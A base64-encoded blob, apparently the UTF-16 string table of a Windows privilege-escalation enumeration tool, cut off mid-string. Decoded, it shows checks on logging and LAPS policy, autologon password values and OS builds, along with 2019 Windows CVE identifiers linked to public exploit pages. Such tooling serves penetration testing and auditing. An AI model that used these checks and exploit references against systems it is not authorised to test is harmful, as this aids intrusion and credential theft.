AK1AAbwB3AGUAcgBTAGgAZQBsAGwAIAB2ADUAIABWAGUAcgBzAGkAbwBuAABhUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAMwBcAFAAbwB3AGUAcgBTAGgAZQBsAGwARQBuAGcAaQBuAGUAAC1UAHIAYQBuAHMAYwByAGkAcAB0AGkAbwBuACAAUwBlAHQAdABpAG4AZwBzAAAvTQBvAGQAdQBsAGUAIABMAG8AZwBnAGkAbgBnACAAUwBlAHQAdABpAG4AZwBzAAA5UwBjAHIAaQBwAHQAYgBsAG8AYwBrACAATABvAGcAZwBpAG4AZwAgAFMAZQB0AHQAaQBuAGcAcwAAeVMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFAAbwB3AGUAcgBTAGgAZQBsAGwAXABUAHIAYQBuAHMAYwByAGkAcAB0AGkAbwBuAACAm0gASwBMAE0AXABTAE8ARgBUAFcAQQBSAEUAXABXAG8AdwA2ADQAMwAyAE4AbwBkAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAVAByAGEAbgBzAGMAcgBpAHAAdABpAG8AbgAAISAAIAB7ADAALAAzADAAfQAgADoAIAB7ADEAfQANAAoAAHlTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwATQBvAGQAdQBsAGUATABvAGcAZwBpAG4AZwAAgJFTAE8ARgBUAFcAQQBSAEUAXABXAG8AdwA2ADQAMwAyAE4AbwBkAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwATQBvAGQAdQBsAGUATABvAGcAZwBpAG4AZwAAgINTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAAICbUwBPAEYAVABXAEEAUgBFAFwAVwBvAHcANgA0ADMAMgBOAG8AZABlAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUABvAHcAZQByAFMAaABlAGwAbABcAFMAYwByAGkAcAB0AEIAbABvAGMAawBMAG8AZwBnAGkAbgBnAAB/UwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUABvAGwAaQBjAGkAZQBzAFwAUwB5AHMAdABlAG0AXABBAHUAZABpAHQAABtTAHkAcwB0AGUAbQAuAFMAdAByAGkAbgBnAACAoVMAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEUAdgBlAG4AdABMAG8AZwBcAEUAdgBlAG4AdABGAG8AcgB3AGEAcgBkAGkAbgBnAFwAUwB1AGIAcwBjAHIAaQBwAHQAaQBvAG4ATQBhAG4AYQBnAGUAcgAAV1MAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBlAHIAdgBpAGMAZQBzAFwAQQBkAG0AUAB3AGQAABtBAGQAbQBQAHcAZABFAG4AYQBiAGwAZQBkAAAZTABBAFAAUwAgAEUAbgBhAGIAbABlAGQAAC9MAEEAUABTACAAQQBkAG0AaQBuACAAQQBjAGMAbwB1AG4AdAAgAE4AYQBtAGUAACFBAGQAbQBpAG4AQQBjAGMAbwB1AG4AdABOAGEAbQBlAAAxTABBAFAAUwAgAFAAYQBzAHMAdwBvAHIAZAAgAEMAbwBtAHAAbABlAHgAaQB0AHkAACVQAGEAcwBzAHcAbwByAGQAQwBvAG0AcABsAGUAeABpAHQAeQAAKUwAQQBQAFMAIABQAGEAcwBzAHcAbwByAGQAIABMAGUAbgBnAHQAaAAAHVAAYQBzAHMAdwBvAHIAZABMAGUAbgBnAHQAaAAARUwAQQBQAFMAIABFAHgAcABpAHIAYQB0AGkAbwBuACAAUAByAG8AdABlAGMAdABpAG8AbgAgAEUAbgBhAGIAbABlAGQAAD1QAHcAZABFAHgAcABpAHIAYQB0AGkAbwBuAFAAcgBvAHQAZQBjAHQAaQBvAG4ARQBuAGEAYgBsAGUAZAAAd1MAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEkAbgB0AGUAcgBuAGUAdAAgAFMAZQB0AHQAaQBuAGcAcwAAE2QAbwBtAGEAaQBuAFMAaQBkAAANZABvAG0AYQBpAG4AAA9MAG8AYwBrAG8AdQB0AAALQQBkAG0AaQBuAAAPQwBhAHAAdABpAG8AbgAAFSgARABpAHMAYQBiAGwAZQBkACkAABMoAEwAbwBjAGsAbwB1AHQAKQAAEUYAdQBsAGwAbgBhAG0AZQAAC2YAYQBsAHMAZQAAKQoAIAAgACAAIAAgACAAIAAgAHwALQA+AEcAcgBvAHUAcABzADoAIAABLQoAIAAgACAAIAAgACAAIAAgAHwALQA+AFAAYQBzAHMAdwBvAHIAZAA6ACAAASVQAGEAcwBzAHcAbwByAGQAQwBoAGEAbgBnAGUAYQBiAGwAZQAAE04AbwB0AEMAaABhAG4AZwBlAAATQwBhAG4AQwBoAGEAbgBnAGUAAAMtAAEfUABhAHMAcwB3AG8AcgBkAEUAeABwAGkAcgBlAHMAAA9OAG8AdABFAHgAcABpAAAJRQB4AHAAaQAAIVAAYQBzAHMAdwBvAHIAZABSAGUAcQB1AGkAcgBlAGQAAA1OAG8AdABSAGUAcQAAB1IAZQBxAABPIAAgAFsALQBdACAAQwBvAG4AdAByAG8AbABsAGUAZAAgAGUAeABjAGUAcAB0AGkAbwBuACwAIABpAG4AZgBvACAAYQBiAG8AdQB0ACAAARUgAG4AbwB0ACAAZgBvAHUAbgBkAAALUwAtADEALQAwAAEdTgB1AGwAbAAgAEEAdQB0AGgAbwByAGkAdAB5AAAPUwAtADEALQAwAC0AMAABDU4AbwBiAG8AZAB5AAALUwAtADEALQAxAAEfVwBvAHIAbABkACAAQQB1AHQAaABvAHIAaQB0AHkAAA9TAC0AMQAtADEALQAwAAERRQB2AGUAcgB5AG8AbgBlAAALUwAtADEALQAyAAEfTABvAGMAYQBsACAAQQB1AHQAaABvAHIAaQB0AHkAAA9TAC0AMQAtADIALQAwAAELUwAtADEALQAzAAEjQwByAGUAYQB0AG8AcgAgAEEAdQB0AGgAbwByAGkAdAB5AAAPUwAtADEALQAzAC0AMAABG0MAcgBlAGEAdABvAHIAIABPAHcAbgBlAHIAAA9TAC0AMQAtADMALQAxAAEbQwByAGUAYQB0AG8AcgAgAEcAcgBvAHUAcAAAD1MALQAxAC0AMwAtADQAARlPAHcAbgBlAHIAIABSAGkAZwBoAHQAcwAAC1MALQAxAC0ANAABKU4AbwBuAC0AdQBuAGkAcQB1AGUAIABBAHUAdABoAG8AcgBpAHQAeQABGU4AVAAgAEEAdQB0AGgAbwByAGkAdAB5AAAPUwAtADEALQA1AC0AMQABDUQAaQBhAGwAdQBwAAAPUwAtADEALQA1AC0AMgABD04AZQB0AHcAbwByAGsAAA9TAC0AMQAtADUALQAzAAELQgBhAHQAYwBoAAAPUwAtADEALQA1AC0ANAABF0kAbgB0AGUAcgBhAGMAdABpAHYAZQAAG1MALQAxAC0ANQAtADUALQAuACsALQAuACsAARtMAG8AZwBvAG4AIABTAGUAcwBzAGkAbwBuAAAPUwAtADEALQA1AC0ANgABD1MAZQByAHYAaQBjAGUAAA9TAC0AMQAtADUALQA3AAETQQBuAG8AbgB5AG0AbwB1AHMAAA9TAC0AMQAtADUALQA5AAE7RQBuAHQAZQByAHAAcgBpAHMAZQAgAEQAbwBtAGEAaQBuACAAQwBvAG4AdAByAG8AbABsAGUAcgBzAAARUwAtADEALQA1AC0AMQAwAAEdUAByAGkAbgBjAGkAcABhAGwAIABTAGUAbABmAAARUwAtADEALQA1AC0AMQAxAAEnQQB1AHQAaABlAG4AdABpAGMAYQB0AGUAZAAgAFUAcwBlAHIAcwAAEVMALQAxAC0ANQAtADEAMgABH1IAZQBzAHQAcgBpAGMAdABlAGQAIABDAG8AZABlAAARUwAtADEALQA1AC0AMQAzAAErVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIABVAHMAZQByAHMAABFTAC0AMQAtADUALQAxADQAATFSAGUAbQBvAHQAZQAgAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAEwAbwBnAG8AbgAAEVMALQAxAC0ANQAtADEANwABI1QAaABpAHMAIABPAHIAZwBhAG4AaQB6AGEAdABpAG8AbgAAEVMALQAxAC0ANQAtADEAOAABGUwAbwBjAGEAbAAgAFMAeQBzAHQAZQBtAAARUwAtADEALQA1AC0AMQA5AAE1TgBUACAAQQB1AHQAaABvAHIAaQB0AHkAXABMAG8AYwBhAGwAIABTAGUAcgB2AGkAYwBlAAARUwAtADEALQA1AC0AMgAwAAE5TgBUACAAQQB1AHQAaABvAHIAaQB0AHkAXABOAGUAdAB3AG8AcgBrACAAUwBlAHIAdgBpAGMAZQAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADAAMAABHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADAAMQABC0cAdQBlAHMAdAAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADAAMgABDUsAUgBCAFQARwBUAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADUAMQAyAAEbRABvAG0AYQBpAG4AIABBAGQAbQBpAG4AcwAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADEAMwABGUQAbwBtAGEAaQBuACAAVQBzAGUAcgBzAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADUAMQA0AAEbRABvAG0AYQBpAG4AIABHAHUAZQBzAHQAcwAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADEANQABIUQAbwBtAGEAaQBuACAAQwBvAG0AcAB1AHQAZQByAHMAAB1TAC0AMQAtADUALQAyADEALgArAC0ANQAxADYAASVEAG8AbQBhAGkAbgAgAEMAbwBuAHQAcgBvAGwAbABlAHIAcwAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADEANwABH0MAZQByAHQAIABQAHUAYgBsAGkAcwBoAGUAcgBzAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADUAMQA4AAEbUwBjAGgAZQBtAGEAIABBAGQAbQBpAG4AcwAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADEAOQABI0UAbgB0AGUAcgBwAHIAaQBzAGUAIABBAGQAbQBpAG4AcwAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADIAMAABN0cAcgBvAHUAcAAgAFAAbwBsAGkAYwB5ACAAQwByAGUAYQB0AG8AcgAgAE8AdwBuAGUAcgBzAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADUAMgA1AAEfUAByAG8AdABlAGMAdABlAGQAIABVAHMAZQByAHMAAB1TAC0AMQAtADUALQAyADEALgArAC0ANQAyADYAARVLAGUAeQAgAEEAZABtAGkAbgBzAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADUAMgA3AAErRQBuAHQAZQByAHAAcgBpAHMAZQAgAEsAZQB5ACAAQQBkAG0AaQBuAHMAAB1TAC0AMQAtADUALQAyADEALgArAC0ANQA1ADMAASdSAEEAUwAgAGEAbgBkACAASQBBAFMAIABTAGUAcgB2AGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA0ADQAAR1BAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAABlTAC0AMQAtADUALQAzADIALQA1ADQANQABGVMALQAxAC0ANQAtADMAMgAtADUANAA2AAENRwB1AGUAcwB0AHMAABlTAC0AMQAtADUALQAzADIALQA1ADQANwABF1AAbwB3AGUAcgAgAFUAcwBlAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANAA4AAEjQQBjAGMAbwB1AG4AdAAgAE8AcABlAHIAYQB0AG8AcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA0ADkAASFTAGUAcgB2AGUAcgAgAE8AcABlAHIAYQB0AG8AcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA1ADAAAR9QAHIAaQBuAHQAIABPAHAAZQByAGEAdABvAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANQAxAAEhQgBhAGMAawB1AHAAIABPAHAAZQByAGEAdABvAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANQAyAAEXUgBlAHAAbABpAGMAYQB0AG8AcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA4ADIAAT1TAHQAbwByAGEAZwBlACAAUgBlAHAAbABpAGMAYQAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAcwAAF1MALQAxAC0ANQAtADYANAAtADEAMAABJ04AVABMAE0AIABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AABdTAC0AMQAtADUALQA2ADQALQAxADQAAS9TAEMAaABhAG4AbgBlAGwAIABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AABdTAC0AMQAtADUALQA2ADQALQAyADEAAStEAGkAZwBlAHMAdAAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAAEVMALQAxAC0ANQAtADgAMAABFU4AVAAgAFMAZQByAHYAaQBjAGUAAA9TAC0AMQAtADMALQAyAAEpQwByAGUAYQB0AG8AcgAgAE8AdwBuAGUAcgAgAFMAZQByAHYAZQByAAAPUwAtADEALQAzAC0AMwABKUMAcgBlAGEAdABvAHIAIABHAHIAbwB1AHAAIABTAGUAcgB2AGUAcgAAD1MALQAxAC0ANQAtADgAAQtQAHIAbwB4AHkAABFTAC0AMQAtADUALQAxADUAARlTAC0AMQAtADUALQAzADIALQA1ADUANAABVUIAdQBpAGwAdABpAG4AXABQAHIAZQAtAFcAaQBuAGQAbwB3AHMAIAAyADAAMAAwACAAQwBvAG0AcABhAHQAaQBiAGwAZQAgAEEAYwBjAGUAcwBzAAEZUwAtADEALQA1AC0AMwAyAC0ANQA1ADUAATlCAHUAaQBsAHQAaQBuAFwAUgBlAG0AbwB0AGUAIABEAGUAcwBrAHQAbwBwACAAVQBzAGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA1ADYAAU9CAHUAaQBsAHQAaQBuAFwATgBlAHQAdwBvAHIAawAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AIABPAHAAZQByAGEAdABvAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANQA3AAFNQgB1AGkAbAB0AGkAbgBcAEkAbgBjAG8AbQBpAG4AZwAgAEYAbwByAGUAcwB0ACAAVAByAHUAcwB0ACAAQgB1AGkAbABkAGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA1ADgAAUNCAHUAaQBsAHQAaQBuAFwAUABlAHIAZgBvAHIAbQBhAG4AYwBlACAATQBvAG4AaQB0AG8AcgAgAFUAcwBlAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANQA5AAE7QgB1AGkAbAB0AGkAbgBcAFAAZQByAGYAbwByAG0AYQBuAGMAZQAgAEwAbwBnACAAVQBzAGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA2ADAAAVVCAHUAaQBsAHQAaQBuAFwAVwBpAG4AZABvAHcAcwAgAEEAdQB0AGgAbwByAGkAegBhAHQAaQBvAG4AIABBAGMAYwBlAHMAcwAgAEcAcgBvAHUAcAAAGVMALQAxAC0ANQAtADMAMgAtADUANgAxAAFPQgB1AGkAbAB0AGkAbgBcAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAATABpAGMAZQBuAHMAZQAgAFMAZQByAHYAZQByAHMAABlTAC0AMQAtADUALQAzADIALQA1ADYAMgABO0IAdQBpAGwAdABpAG4AXABEAGkAcwB0AHIAaQBiAHUAdABlAGQAIABDAE8ATQAgAFUAcwBlAHIAcwAAD1MALQAxAC0AMgAtADEAARtDAG8AbgBzAG8AbABlACAATABvAGcAbwBuAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADQAOQA4AAFPRQBuAHQAZQByAHAAcgBpAHMAZQAgAFIAZQBhAGQALQBvAG4AbAB5ACAARABvAG0AYQBpAG4AIABDAG8AbgB0AHIAbwBsAGwAZQByAHMAAR1TAC0AMQAtADUALQAyADEALgArAC0ANQAyADEAATlSAGUAYQBkAC0AbwBuAGwAeQAgAEQAbwBtAGEAaQBuACAAQwBvAG4AdAByAG8AbABsAGUAcgBzAAEdUwAtADEALQA1AC0AMgAxAC4AKwAtADUANwAxAAFPQQBsAGwAbwB3AGUAZAAgAFIATwBEAEMAIABQAGEAcwBzAHcAbwByAGQAIABSAGUAcABsAGkAYwBhAHQAaQBvAG4AIABHAHIAbwB1AHAAAB1TAC0AMQAtADUALQAyADEALgArAC0ANQA3ADIAAU1EAGUAbgBpAGUAZAAgAFIATwBEAEMAIABQAGEAcwBzAHcAbwByAGQAIABSAGUAcABsAGkAYwBhAHQAaQBvAG4AIABHAHIAbwB1AHAAABlTAC0AMQAtADUALQAzADIALQA1ADYAOQABQQkAQgB1AGkAbAB0AGkAbgBcAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABPAHAAZQByAGEAdABvAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANwAzAAEzQgB1AGkAbAB0AGkAbgBcAEUAdgBlAG4AdAAgAEwAbwBnACAAUgBlAGEAZABlAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANwA0AAFPQgB1AGkAbAB0AGkAbgBcAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgAFMAZQByAHYAaQBjAGUAIABEAEMATwBNACAAQQBjAGMAZQBzAHMAABVTAC0AMQAtADUALQA4ADAALQAwAAExTgBUACAAUwBlAHIAdgBpAGMAZQBzAFwAQQBsAGwAIABTAGUAcgB2AGkAYwBlAHMAABVTAC0AMQAtADUALQA4ADMALQAwAAFHTgBUACAAVgBpAHIAdAB1AGEAbAAgAE0AYQBjAGgAaQBuAGUAXABWAGkAcgB0AHUAYQBsACAATQBhAGMAaABpAG4AZQBzAAAVUwAtADEALQA1AC0AOQAwAC0AMAABS1cAaQBuAGQAbwB3AHMAIABNAGEAbgBhAGcAZQByAFwAVwBpAG4AZABvAHcAcwAgAE0AYQBuAGEAZwBlAHIAIABHAHIAbwB1AHAAABFTAC0AMQAtADEANgAtADAAATNVAG4AdAByAHUAcwB0AGUAZAAgAE0AYQBuAGQAYQB0AG8AcgB5ACAATABlAHYAZQBsAAAXUwAtADEALQAxADYALQA0ADAAOQA2AAEnTABvAHcAIABNAGEAbgBkAGEAdABvAHIAeQAgAEwAZQB2AGUAbAAAF1MALQAxAC0AMQA2AC0AOAAxADkAMgABLU0AZQBkAGkAdQBtACAATQBhAG4AZABhAHQAbwByAHkAIABMAGUAdgBlAGwAABdTAC0AMQAtADEANgAtADgANAA0ADgAATdNAGUAZABpAHUAbQAgAFAAbAB1AHMAIABNAGEAbgBkAGEAdABvAHIAeQAgAEwAZQB2AGUAbAAAGVMALQAxAC0AMQA2AC0AMQAyADIAOAA4AAEpSABpAGcAaAAgAE0AYQBuAGQAYQB0AG8AcgB5ACAATABlAHYAZQBsAAAZUwAtADEALQAxADYALQAxADYAMwA4ADQAAS1TAHkAcwB0AGUAbQAgAE0AYQBuAGQAYQB0AG8AcgB5ACAATABlAHYAZQBsAAAZUwAtADEALQAxADYALQAyADAANAA4ADAAAUNQAHIAbwB0AGUAYwB0AGUAZAAgAFAAcgBvAGMAZQBzAHMAIABNAGEAbgBkAGEAdABvAHIAeQAgAEwAZQB2AGUAbAAAGVMALQAxAC0AMQA2AC0AMgA4ADYANwAyAAE9UwBlAGMAdQByAGUAIABQAHIAbwBjAGUAcwBzACAATQBhAG4AZABhAHQAbwByAHkAIABMAGUAdgBlAGwAAB9TAC0AMQAtADUALQAyADEALQAuACsALQA1ADIAMgABOUMAbABvAG4AZQBhAGIAbABlACAARABvAG0AYQBpAG4AIABDAG8AbgB0AHIAbwBsAGwAZQByAHMAABlTAC0AMQAtADUALQAzADIALQA1ADcANQABQ0IAdQBpAGwAdABpAG4AXABSAEQAUwAgAFIAZQBtAG8AdABlACAAQQBjAGMAZQBzAHMAIABTAGUAcgB2AGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA3ADYAATlCAHUAaQBsAHQAaQBuAFwAUgBEAFMAIABFAG4AZABwAG8AaQBuAHQAIABTAGUAcgB2AGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA3ADcAAT1CAHUAaQBsAHQAaQBuAFwAUgBEAFMAIABNAGEAbgBhAGcAZQBtAGUAbgB0ACAAUwBlAHIAdgBlAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANwA4AAE9QgB1AGkAbAB0AGkAbgBcAEgAeQBwAGUAcgAtAFYAIABBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAARlTAC0AMQAtADUALQAzADIALQA1ADcAOQABV0IAdQBpAGwAdABpAG4AXABBAGMAYwBlAHMAcwAgAEMAbwBuAHQAcgBvAGwAIABBAHMAcwBpAHMAdABhAG4AYwBlACAATwBwAGUAcgBhAHQAbwByAHMAABlTAC0AMQAtADUALQAzADIALQA1ADgAMAABP0IAdQBpAGwAdABpAG4AXABSAGUAbQBvAHQAZQAgAE0AYQBuAGEAZwBlAG0AZQBuAHQAIABVAHMAZQByAHMAABNTAC0AMQAtADUALQAxADEAMwABG0wAbwBjAGEAbAAgAGEAYwBjAG8AdQBuAHQAABNTAC0AMQAtADUALQAxADEANAABYUwAbwBjAGEAbAAgAGEAYwBjAG8AdQBuAHQAIABhAG4AZAAgAG0AZQBtAGIAZQByACAAbwBmACAAQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBzACAAZwByAG8AdQBwAAAXUwAtADEALQA1AC0ANgA0AC0AMwA2AAE5QwBsAG8AdQBkACAAQQBjAGMAbwB1AG4AdAAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAAA14AAAMkAACAhyAAIABbAFgAXQAgAEUAeABjAGUAcAB0AGkAbwBuADoAIAB7ADAAfQAKACAAIAAgACAAQwBoAGUAYwBrAGkAbgBnACAAdQBzAGkAbgBnACAAdABoAGUAIABvAHQAaABlAHIAIABQAHIAaQBuAGMAaQBwAGEAbAAgAEMAbwBuAHQAZQB4AHQAAGdTAEUATABFAEMAVAAgACoAIABGAFIATwBNACAAVwBpAG4AMwAyAF8AVQBzAGUAcgBQAHIAbwBmAGkAbABlACAAVwBIAEUAUgBFACAATABvAGEAZABlAGQAIAA9ACAAVAByAHUAZQAAGU4AVAAgAEEAVQBUAEgATwBSAEkAVABZAAATbABvAGMAYQBsAGgAbwBzAHQAAB97ADAAfQAuAHsAMQB9AC4AewAyAH0ALgB7ADMAfQAAI1cAaQBuADMAMgBfAFUAcwBlAHIAUAByAG8AZgBpAGwAZQAAHU0AYQB4AFAAYQBzAHMAdwBvAHIAZABBAGcAZQAAHU0AaQBuAFAAYQBzAHMAdwBvAHIAZABBAGcAZQAAI00AaQBuAFAAYQBzAHMAdwBvAHIAZABMAGUAbgBnAHQAaAAAK1AAYQBzAHMAdwBvAHIAZABIAGkAcwB0AG8AcgB5AEwAZQBuAGcAdABoAAAlUABhAHMAcwB3AG8AcgBkAFAAcgBvAHAAZQByAHQAaQBlAHMAACNEAGUAZgBhAHUAbAB0AEQAbwBtAGEAaQBuAE4AYQBtAGUAAB9EAGUAZgBhAHUAbAB0AFUAcwBlAHIATgBhAG0AZQAAH0QAZQBmAGEAdQBsAHQAUABhAHMAcwB3AG8AcgBkAAApQQBsAHQARABlAGYAYQB1AGwAdABEAG8AbQBhAGkAbgBOAGEAbQBlAAAlQQBsAHQARABlAGYAYQB1AGwAdABVAHMAZQByAE4AYQBtAGUAACVBAGwAdABEAGUAZgBhAHUAbAB0AFAAYQBzAHMAdwBvAHIAZAAAESAAWwAhAF0AIAB7ADAAfQAAW1MARQBMAEUAQwBUACAAQgB1AGkAbABkAE4AdQBtAGIAZQByACAARgBSAE8ATQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtAAAXQgB1AGkAbABkAE4AdQBtAGIAZQByAAA3IAAgACAAIAAgACAAIABbACEAXQAgAHsAMAB9ACAAOgAgAFYAVQBMAE4ARQBSAEEAQgBMAEUAAB8gACAAIAAgACAAIAAgACAAWwA+AF0AIAB7ADAAfQAAKSAAIAAgACAARgBpAG4AaQBzAGgAZQBkAC4AIABGAG8AdQBuAGQAIAAANyAAcABvAHQAZQBuAHQAaQBhAGwAIAB2AHUAbABuAGUAcgBhAGIAaQBsAGkAdABpAGUAcwAuAABVIAAgACAAIAAgACAARgBpAG4AaQBzAGgAZQBkAC4AIABGAG8AdQBuAGQAIAAwACAAdgB1AGwAbgBlAHIAYQBiAGkAbABpAHQAaQBlAHMALgANAAoAABtDAFYARQAtADIAMAAxADkALQAwADgAMwA2AAFLaAB0AHQAcABzADoALwAvAGUAeABwAGwAbwBpAHQALQBkAGIALgBjAG8AbQAvAGUAeABwAGwAbwBpAHQAcwAvADQANgA3ADEAOAABgStoAHQAdABwAHMAOgAvAC8AZABlAGMAbwBkAGUAcgAuAGMAbABvAHUAZAAvADIAMAAxADkALwAwADQALwAyADkALwBjAG8AbQBiAGkAbgBpAGcALQBsAHUAYQBmAHYALQBwAG8AcwB0AGwAdQBhAGYAdgBwAG8AcwB0AHIAZQBhAGQAdwByAGkAdABlAC0AcgBhAGMAZQAtAGMAbwBuAGQAaQB0AGkAbwBuAC0AcABlAC0AdwBpAHQAaAAtAGQAaQBhAGcAaAB1AGIALQBjAG8AbABsAGUAYwB0AG8AcgAtAGUAeABwAGwAbwBpAHQALQBmAHIAbwBtAC0AcwB0AGEAbgBkAGEAcgBkAC0AdQBzAGUAcgAtAHQAbwAtAHMAeQBzAHQAZQBtAC8AARtDAFYARQAtADIAMAAxADkALQAwADgANAAxAAFVaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwByAG8AZwB1AGUALQBrAGQAYwAvAEMAVgBFAC0AMgAwADEAOQAtADAAOAA0ADEAAVNoAHQAdABwAHMAOgAvAC8AcgBhAHMAdABhAG0AbwB1AHMAZQAuAG0AZQAvAHQAYQBnAHMALwBjAHYAZQAtADIAMAAxADkALQAwADgANAAxAC8AARtDAFYARQAtADIAMAAxADkALQAxADAANgA0AAFfaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcgB5AHQAaABtAHMAdABpAGMAawAuAG4AZQB0AC8AcABvAHMAdABzAC8AYwB2AGUALQAyADAAMQA5AC0AMQAwADYANAAvAAEbQwBWAEUALQAyADAAMQA5AC0AMQAxADMAMAABXWgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AUwAzAGMAdQByADMAVABoADEAcwBTAGgAMQB0AC8AUwBoAGEAcgBwAEIAeQBlAEIAZQBhAHIAABtDAFYARQAtADIAMAAxADkALQAxADIANQAzAAFXaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBwAGEAZABvAHYAYQBoADQAYwBrAC8AQwBWAEUALQAyADAAMQA5AC0AMQAyADUAMwABG0MAVgBFAC0AMgAwADEAOQAtADEAMwAxADUAAYCraAB0AHQAcABzADoALwAvAG8AZgBmAHMAZQBjAC4AYQBsAG0AbwBuAGQALgBjAG8AbgBzAHUAbAB0AGkAbgBnAC8AdwBpAG4AZABvAHcAcwAtAGUAcgByAG8AcgAtAHIAZQBwAG8AcgB0AGkAbgBnAC0AYQByAGIAaQB0AHIAYQByAHkALQBmAGkAbABlAC0AbQBvAHYAZQAtAGUAbwBwAC4AaAB0AG0AbAABG0MAVgBFAC0AMgAwADEAOQAtADEAMwA4ADUAAVdoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB5AG8AdQB0AHUAYgBlAC4AYwBvAG0ALwB3AGEAdABjAGgAPwB2AD0ASwA2AGcASABuAHIALQBWAGsAQQBnAAEbQwBWAEUALQAyADAAMQA5AC0AMQAzADgAOAABUWgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AagBhAHMANQAwADIAbgAvAEMAVgBFAC0AMgAwADEAOQAtADEAMwA4ADgAARtDAFYARQAtADIAMAAxADkALQAxADQAMAA1AAGBkWgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG4AYwBjAGcAcgBvAHUAcAAuAHQAcgB1AHMAdAAvAHUAawAvAGEAYgBvAHUAdAAtAHUAcwAvAG4AZQB3AHMAcgBvAG8AbQAtAGEAbgBkAC0AZQB2AGUAbgB0AHMALwBiAGwAbwBnAHMALwAyADAAMQA5AC8AbgBvAHYAZQBtAGIAZQByAC8AYwB2AGUALQAyA